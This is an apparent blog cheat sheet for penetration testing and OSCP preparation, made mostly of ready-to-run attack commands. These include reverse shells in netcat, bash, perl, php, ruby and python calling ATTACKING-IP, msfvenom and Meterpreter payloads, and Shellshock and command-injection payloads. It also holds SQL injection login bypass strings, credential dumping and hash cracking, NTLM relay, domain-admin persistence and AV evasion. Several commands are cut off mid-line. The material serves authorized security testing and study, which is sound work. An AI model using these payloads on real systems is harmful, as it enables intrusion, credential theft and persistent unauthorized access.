Pentesting Cheatsheet

In addition to my own contributions, this compilation is possible by other compiled cheatsheets by g0tmilk, highon.coffee, and pentestmonkey, as well as a few others listed at the bottom. It's easiest to search via ctrl+F, as the Table of Contents isn't kept up to date fully.

Pentesting Cheat Sheet

Table of Contents

Enumeration

General Enumeration

FTP Enumeration (21)

SSH (22) **SMTP Enumeration (25) Finger Enumeration (79)** Web Enumeration (80/443) Pop3 (110) **RPCBind (111) SMB\RPC Enumeration (139/445) SNMP Enumeration (161) Oracle (1521) Mysql Enumeration (3306) DNS Zone Transfers Mounting File Shares Fingerprinting**

Exploit Research Compiling Exploits Packet Inspection Password Cracking Bruteforcing Shells & Reverse Shells **SUID C Shells TTY Shell Spawn Ruby Shell** Netcat **Telnet Reverse Shell PHP** Bash

Meterpreter

Windows reverse meterpreter payload

Windows VNC Meterpreter payload

Linux Reverse Meterpreter payload

Meterpreter Cheat Sheet

Meterpreter Payloads

Binaries

Web Payloads

Scripting Payloads

Shellcode

Handlers

Powershell

Privilege Escalation

Linux

Windows

Command Injection

File Traverse

Test HTTP options using curl

Upload file using CURL to website with PUT option available

Transfer file

Activate shell file

SQLInjections

Injections

SQLMap

Miscellaneous

Tunneling

AV Bypass

Web hosts

Php Meterpreter Shell

Reverse shell using interpreters

Shellshock

Resources & Links

Windows Privilege Escalation

SQL & Apache Log paths

Recon

Cheat Sheets (Includes scripts)

Meterpreter Stuff

Proxy Chaining

Huge collection of common commands and scripts as well as general pentest info

Scripts

Pentester Bookmarks, huge collection of blogs, forums, and resources

Pentest Checklist

OSCP Writeups, blogs, and notes

Enumeration

General Enumeration:

nmap -vv -Pn -A -sC -sS -T 4 -p- 10.0.0.1

Verbose, syn, all ports, all scripts, no ping

nmap -v -sS -A -T4 x.x.x.x

Verbose, SYN Stealth, Version info, and scripts against services.

nmap –script smb-check-vulns.nse –script-args=unsafe=1 -p445 [host]

 Nmap script to scan for vulnerable SMB servers – WARNING: unsafe=1 may cause knockover

•

netdiscover -r 192.168.1.0/24

FTP Enumeration (21):

nmap –script ftp-anon,ftp-bounce,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-ba

SSH (22):

ssh INSERTIPADDRESS 22

SMTP Enumeration (25):

•

nmap –script smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp

nc -nvv INSERTIPADDRESS 25

telnet INSERTIPADDRESS 25

Finger Enumeration (79):

Download script and run it with a wordlist: http://pentestmonkey.net/tools/user-enumeration/finger-user-enum

Web Enumeration (80/443):

• dirbuster (GUI)

•

dirb http://10.0.0.1/

nikto -h 10.0.0.1 Pop3 (110): telnet INSERTIPADDRESS 110 USER [username]

PASS [password]

| | To login |
|----------------|-----------------------|
| | LIST |
| | To list messages |
| | RETR [message number] |
| | Retrieve message |
| | QUIT |
| • | • quits |
| RPCBind (111): | |
| • | |

rpcinfo -p x.x.x.x

SMB\RPC Enumeration (139/445):

enum4linux -a 10.0.0.1

- nbtscan x.x.x.x
 - Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and discover client workgroup / domain

py 192.168.XXX.XXX 500 50000 dict.txt

python /usr/share/doc/python-impacket-doc/examples/samrdump.py 192.168.> nmap IPADDR --script smb-enum-domains.nse,smb-enum-groups.nse,smb-enur smbclient -L //INSERTIPADDRESS/ • List open shares smbclient //INSERTIPADDRESS/ipc\$ -U john SNMP Enumeration (161):

snmpwalk -c public -v1 10.0.0.0 snmpcheck -t 192.168.1.X -c public onesixtyone -c names -i hosts nmap -sT -p 161 192.168.X.X -oG snmp_results.txt •

snmpenum -t 192.168.1.X

Oracle (1521):

•

tnscmd10g version -h INSERTIPADDRESS

tnscmd10g status -h INSERTIPADDRESS

Mysql Enumeration (3306):

nmap -sV -Pn -vv 10.0.0.1 -p 3306 --script mysql-audit,mysql-databases,mysql-d

DNS Zone Transfers:

nslookup -> set type=any -> ls -d blah.com

dig axfr blah.com @ns1.blah.com

- This one works the best in my experience

dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml

Mounting File Share

•

showmount -e IPADDR

mount 192.168.1.1:/vol/share /mnt/nfs -nolock

mounts the share to /mnt/nfs without locking it

mount -t cifs -o username=user,password=pass, domain=blah //192.168.1.X/sh

 Mount Windows CIFS / SMB share on Linux at /mnt/cifs if you remove password it will prompt on the CLI (more secure as it wont end up in bash_history) net use Z: \\win-server\share password /user:domain\janedoe /savecred /p:no

• Mount a Windows share on Windows from the command line

apt-get install smb4k -y

• Install smb4k on Kali, useful Linux GUI for browsing SMB shares

Fingerprinting: Basic versioning / finger printing via displayed banner

•

nc -v 192.168.1.1 25

telnet 192.168.1.1 25

Exploit Research

searchsploit windows 2003 | grep -i local

• Search exploit-db for exploit, in this example windows 2003 + local esc

Compiling Exploits

gcc -o exploit exploit.c

Compile C code, add -m32 after 'gcc' for compiling 32 bit code on 64 bit
 Linux

i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe

Compile windows .exe on Linux

Packet Inspection:

tcpdump tcp port 80 -w output.pcap -i eth0

tcpdump for port 80 on interface eth0, outputs to output.pcap

Password Cracking

hash-identifier [hash]

john hashes.txt

•

hashcat -m 500 -a 0 -o output.txt -remove hashes.txt /usr/share/wordlists/rocky

hashcat -m 1000 dump.txt -o output.txt --remove -a 3 ?u?l?l?d?d?d?d

- Brute force crack for NTLM hashes with an uppercase, lowercase, lowercase, and 4 digit mask
- List of hash types and examples for hashcat https://hashcat.net/wiki/doku.php? id=example_hashes
- https://hashkiller.co.uk has a good repo of already cracked MD5 and NTLM hashes

Bruteforcing:

hydra 10.0.0.1 http-post-form "/admin.php:target=auth&mode=login&user=^US

hydra -l admin -P /usr/share/wordlists/rockyou.txt -o results.txt IPADDR PROTOC

hydra -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp -V

Hydra SMTP Brute force

Shells & Reverse Shells

SUID C Shells

• bin/bash:

```
int main(void){
setresuid(0, 0, 0);
system("/bin/bash");
}
```

• bin/sh:

```
int main(void){
setresuid(0, 0, 0);
system("/bin/sh");
}
```

TTY Shell: python -c 'import pty;pty.spawn("/bin/bash")' echo os.system('/bin/bash') /bin/sh -i execute('/bin/sh')

• LUA
 !sh
 • Privilege Escalation via nmap

:!bash

• Privilege escalation via vi

Fully Interactive TTY

In reverse shell

python -c 'import pty; pty.spawn("/bin/bash")'

Ctrl-Z

In Attacker console

stty -a stty raw -echo

In reverse shell reset export SHELL=bash export TERM=xterm-256color stty rows <num> columns <cols>

Spawn Ruby Shell

exec "/bin/sh"

ruby -rsocket -e'f=TCPSocket.open("ATTACKING-IP",80).to_i;exec sprintf("/bin/sh

Netcat

nc -e /bin/sh ATTACKING-IP 80 /bin/sh | nc ATTACKING-IP 80 rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p

Telnet Reverse Shell

rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p

telnet ATTACKING-IP 80 | /bin/bash | telnet ATTACKING-IP 443

PHP

php -r '\$sock=fsockopen("ATTACKING-IP",80);exec("/bin/sh -i <&3 >&3 2>&3");'

• (Assumes TCP uses file descriptor 3. If it doesn't work, try 4,5, or 6)

Bash

exec /bin/bash 0&0 2>&0

•

0<&196;exec 196<>/dev/tcp/ATTACKING-IP/80; sh <&196 >&196 2>&196

exec 5<>/dev/tcp/ATTACKING-IP/80 cat <&5 | while read line; do \$line 2>&5 >&5

or: while read line 0<&5; do \$line 2>&5 >&5; done

•

bash -i >& /dev/tcp/ATTACKING-IP/80 0>&1

Perl

```
exec "/bin/sh";
 perl —e 'exec "/bin/sh";'
 perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,ge
  perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdor
Windows
```

perl -e 'use Socket;\$i="ATTACKING-IP";\$p=80;socket(S,PF_INET,SOCK_STREAM,ge

Windows

Meterpreter

Windows reverse meterpreter payload

set payload windows/meterpreter/reverse_tcp

Windows reverse tcp payload

Windows VNC Meterpreter payload

set payload windows/vncinject/reverse_tcp

Meterpreter Windows VNC Payload

•

set ViewOnly false

Linux Reverse Meterpreter payload

set payload linux/meterpreter/reverse_tcp

Meterpreter Linux Reverse Payload

Meterpreter Cheat Sheet

upload file c:\\windows

Meterpreter upload file to Windows target

download c:\\windows\\repair\\sam /tmp • Meterpreter download file from Windows target download c:\\windows\\repair\\sam /tmp • Meterpreter download file from Windows target execute -f c:\\windows\temp\exploit.exe • Meterpreter run .exe on target – handy for executing uploaded exploits execute -f cmd -c

Creates new channel with cmd shell

| | ps |
|---|---|
| • | Meterpreter show processes |
| | shell |
| • | Meterpreter get shell on the target |
| | getsystem |
| • | Meterpreter attempts priviledge escalation the target |
| | hashdump |
| • | Meterpreter attempts to dump the hashes on the target (must have privileges; try migrating to winlogon.exe if possible first) |

portfwd add -l 3389 -p 3389 -r target

Meterpreter create port forward to target machine

portfwd delete -l 3389 -p 3389 -r target

Meterpreter delete port forward

use exploit/windows/local/bypassuac

Bypass UAC on Windows 7 + Set target + arch, x86/64

use auxiliary/scanner/http/dir_scanner

Metasploit HTTP directory scanner

use auxiliary/scanner/http/jboss_vulnscan • Metasploit JBOSS vulnerability scanner use auxiliary/scanner/mssql/mssql_login • Metasploit MSSQL Credential Scanner use auxiliary/scanner/mysql/mysql_version • Metasploit MSSQL Version Scanner use auxiliary/scanner/oracle/oracle_login • Metasploit Oracle Login Module

use exploit/multi/script/web_delivery Metasploit powershell payload delivery module post/windows/manage/powershell/exec_powershell • Metasploit upload and run powershell script through a session use exploit/multi/http/jboss_maindeployer • Metasploit JBOSS deploy use exploit/windows/mssql/mssql_payload Metasploit MSSQL payload

| | run post/windows/gather/win_privs |
|---|---|
| • | Metasploit show privileges of current user |
| | use post/windows/gather/credentials/gpp |
| • | Metasploit grab GPP saved passwords |
| | load kiwi |
| | creds_all |
| • | Metasploit load Mimikatz/kiwi and get creds |

run post/windows/gather/local_admin_search_enum

 Idenitfy other machines that the supplied domain user has administrative access to

set AUTORUNSCRIPT post/windows/manage/migrate

Meterpreter Payloads

msfvenom -l

• • List options

Binaries

•

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.el msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.e msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.machc Web Payloads msfvenom -p php/meterpreter/reverse_tcp LHOST= LPORT= -f raw > shell.php

• PHP set payload php/meterpreter/reverse_tcp Listener cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> sh PHP msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.a ASP msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war

WAR

Scripting Payloads

- msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py
 - Python

msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh

Bash

msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl

Perl

Shellcode

For all shellcode see 'msfvenom –help-formats' for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.

•

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f
```

•

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f
```

```
msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f
```

Handlers

Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.

exploit/multi/handler set PAYLOAD set LHOST set LPORT set ExitOnSession false

An example is:

msfvenom exploit/multi/handler -p windows/meterpreter/reverse_tcp LHOST= LPOR

Powershell

Execution Bypass

Set-ExecutionPolicy Unrestricted ./file.ps1

Import-Module script.psm1
Invoke-FunctionThatIsIntheModule

iex(new-object system.net.webclient).downloadstring("file:///C:\examplefile.ps1")

Powershell.exe blocked

• Use 'not powershell' https://github.com/Ben0xA/nps

Persistence

•

net user username "password" /ADD

net group "Domain Admins" %username% /DOMAIN /ADD

Gather NTDS.dit file

ntdsutil

activate instance ntds

ifm

create full C:\ntdsutil

quit

quit

Privilege Escalation

Linux:

Find Binaries that will execute as the owner

•

find / -perm -u=s -type f 2>/dev/null

Find binaries that will execute as the group

•

find / -perm -g=s -type f 2>/dev/null

Find sticky-bit binaries

find / -perm -1000 -type d 2>/dev/null

If Python is executable as root

python2.7 -c "import pty;pty.spawn('/bin/sh');"

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

https://github.com/pentestmonkey/unix-privesc-check

Windows:

https://github.com/pentestmonkey/windows-privesc-check

http://www.fuzzysecurity.com/tutorials/16.html

https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/

Command Injection

File Traverse:

•

website.com/file.php[?path=/]

Test HTTP options using curl:

•

curl -vX OPTIONS [website]

Upload file using CURL to website with PUT option available

•

curl --upload-file shell.php --url http://192.168.218.139/test/shell.php --http1.0

Transfer file (Try temp directory if not writable) (wget -O tells it where to store):

•

?path=/; wget http://IPADDRESS:8000/FILENAME.EXTENTION;

Activate shell file:

•

; php -f filelocation.php;

SQLInjections

Common Injections for Login Forms:

- admin' --
- admin' #
- admin'/*
- ' or 1=1--
- ' or 1=1#
- ' or 1=1/*
- ') or '1'='1--
- ') or ('1'='1—

SQLMap

- sqlmap -u http://meh.com --forms --batch --crawl=10 --cookie=jsessionid=54321 -- level=5 --risk=3
 - Automated sqlmap scan
- sqlmap -u http://INSERTIPADDRESS --dbms=mysql --crawl=3
- sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE --level=3 --current-user --current-db --passwords --file-read="/var/www/blah.php"

- Targeted sqlmap scan
- sqlmap -u "http://meh.com/meh.php?id=1" --dbms=mysql --tech=U --random-agent
 --dump Scan url for union + error based injection with mysql backend and use
 a random user agent + database dump
- sqlmap -o -u "http://meh.com/form/" -forms
 - sqlmap check form for injection
- sqlmap -o -u "http://meh/vuln-form" --forms -D database-name -T users -dump
 - sqlmap dump and crack hashes for table users on database-name.
- sqlmap --flush session
 - Flushes the session
- sqlmap -p user --technique=B
 - Attempts to exploit the "user" field using boolean technique.
- sqlmap -r <captured request>
 - Capture a request via Burp Suite, save it to a file, and use this command to let sqlmap automate everything. Add –os-shell at the end to pop a shell if possible.

Miscellaneous

NTLMRelayx.py using mitm6

This will take captured credentials via IPv6 spoofing using mitm6 and relay them to a target via ntlmrelayx.py. It requires ntlmrelayx.py and mitm6 to be installed already.

mitm6 -d <domain.local>

 First, start mitm6 and specify the domain you're spoofing on with '-d domain.name'

ntlmrelayx.py -6 -wh 192.168.1.1 -t smb://192.168.1.2 -l ~/tmp/

• -6 specifies ipv6, -wh specifies where the WPAD file is hosted at (your IP usually). -t specifies the target, or destination where the credentials will be relayed. -l is to where to store the loot.

Name your terminal whatever you want

This small script will name your terminal whatever you pass as an argument to it. It helps organizing with multiple terminals open. Thanks Ben!

```
#!bin/bash
echo -ne "\033]0;${1}\007"
```

Tunneling:

sshuttle is an awesome tunneling tool that does all the hard work for you. It gets rid of the need for proxy chains. What this command does is tunnels traffic through 10.0.0.1 and makes a route for all traffic destined for 10.10.10.0/24 through your sshuttle tunnel.

sshuttle -r root@10.0.0.1 10.10.10.0/24

AV Bypass:

wine hyperion.exe ../backdoor.exe ../backdoor_mutation.exe

wine and hyperion need to be installed.

Web hosts

- python -m SimpleHTTPServer 80
 - Basic HTTP Server. Will list the directory it's started in.
- service apache2 start
 - Starts Apache web server. Place files in /var/www/html to be able to 'wget' them.

Php Meterpreter Shell (Remove Guard bit)

msfvenom -p php/meterpreter/reverse_tcp LHOST=???????? LPORT=6000 R > phpmeterpreter.php

Netcat

- Listener: nc -lvp <PORT>
 - Listen verbosely on a port.

- Target: nc -e /bin/bash listeneripaddress listenerport
- or ncat -v -l -p 7777 -e /bin/bash
- Host: cat happy.txt | ncat -v -l -p 5555 Target: ncat localhost 5555 > happy_copy.txt
 - Download file via ncat

Reverse shell using interpreters (http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)

- python -c python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.conn ect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
- python -c "exec(\"import socket, subprocess;s =
 socket.socket();s.connect(('127.0.0.1',9000))\nwhile 1: proc =
 subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE,
 stderr=subprocess.PIPE,
 stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

Shellshock

- curl -x TARGETADDRESS -H "User-Agent: () { ignored;};/bin/bash -i >&
 /dev/tcp/HOSTIP/1234 0>&1" TARGETADDRESS/cgi-bin/status
- curl -x 192.168.28.167:PORT -H "User-Agent: () { ignored;};/bin/bash -i >&
 /dev/tcp/192.168.28.169/1234 0>&1" 192.168.28.167/cgi-bin/status
- ssh username@IPADDRESS '() { :;}; /bin/bash'
 - Shellshock over SSH.

CrackMapExec

crackmapexec smb 10.0.0.1/24 -u administrator -p 'password' --local-auth --sam

Spray the network with local login credentials then dump SAM contents

crackmapexec smb 10.0.0.1/24 -u administrator -H <hash> --local-auth --lsa

Pass the hash network-wide, local login, dump LSA contents

crackmapexec smb 192.168.10.0/24 -u username -p password -M empire_exec -

Requires Empire Restful API to be running. It will spray supply credentials
and pop an empire agent on any successful login. Read more here

Resources & Links

Windows Privilege Escalation

http://www.fuzzysecurity.com/tutorials/16.html

https://toshellandback.com/2015/11/24/ms-priv-esc/

SQL & Apache Log paths

http://www.itninja.com/blog/view/mysql-and-apache-profile-log-path-locations

Recon

https://bitvijays.github.io/blog/2015/04/09/learning-from-the-field-intelligence-gathering/

Cheat Sheets (Includes scripts):

http://pentestmonkey.net/

https://highon.coffee/blog/cheat-sheet/

https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/

Meterpreter Stuff

http://netsec.ws/?p=331

Proxy Chaining

apt-get install sshuttle

https://github.com/sshuttle/sshuttle

https://github.com/rofl0r/proxychains-ng

https://www.offensive-security.com/metasploit-unleashed/proxytunnels/

Huge collection of common commands and scripts as well as general pentest info

https://bobloblaw.gitbooks.io/security/content/

Scripts

https://github.com/rebootuser/LinEnum

https://github.com/mzet-/linux-exploit-suggester

https://github.com/azmatt/windowsEnum

https://github.com/leebaird/discover

https://nmap.org/nsedoc/

Pentester Bookmarks, huge collection of blogs, forums, and resources.

https://code.google.com/archive/p/pentest-bookmarks/wikis/BookmarksList.wiki

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

Pentest Checklist

http://mateustymbu.xpg.uol.com.br/Bibliography/Pentest_Checklist.pdf

Pentesting Workflow

https://workflowy.com/s/FgBl.6qcAQUUqWM

OSCP Writeups, blogs, and notes:

https://xapax.github.io/blog/2017/01/14/OSCP.html

http://www.securitysift.com/offsec-pwb-oscp/

https://netsecfocus.com/topic/32/oscp-like-vulnhub-vms

https://blog.propriacausa.dewp-content/uploads/2016/07/oscp_notes.html

https://localhost.exposed/path-to-oscp/

https://www.reddit.com/r/netsecstudents/comments/5i00w6/my_experience_with_the_oscp/

https://naterobb.blogspot.com/2017/02/my-experience-with-oscp-to-kick-off-my.html
http://www.securitysift.com/offsec-pwb-oscp/

Share this:

Twitter

Facebook

Like

Be the first to like this.

Follow Me on Twitter



On Github



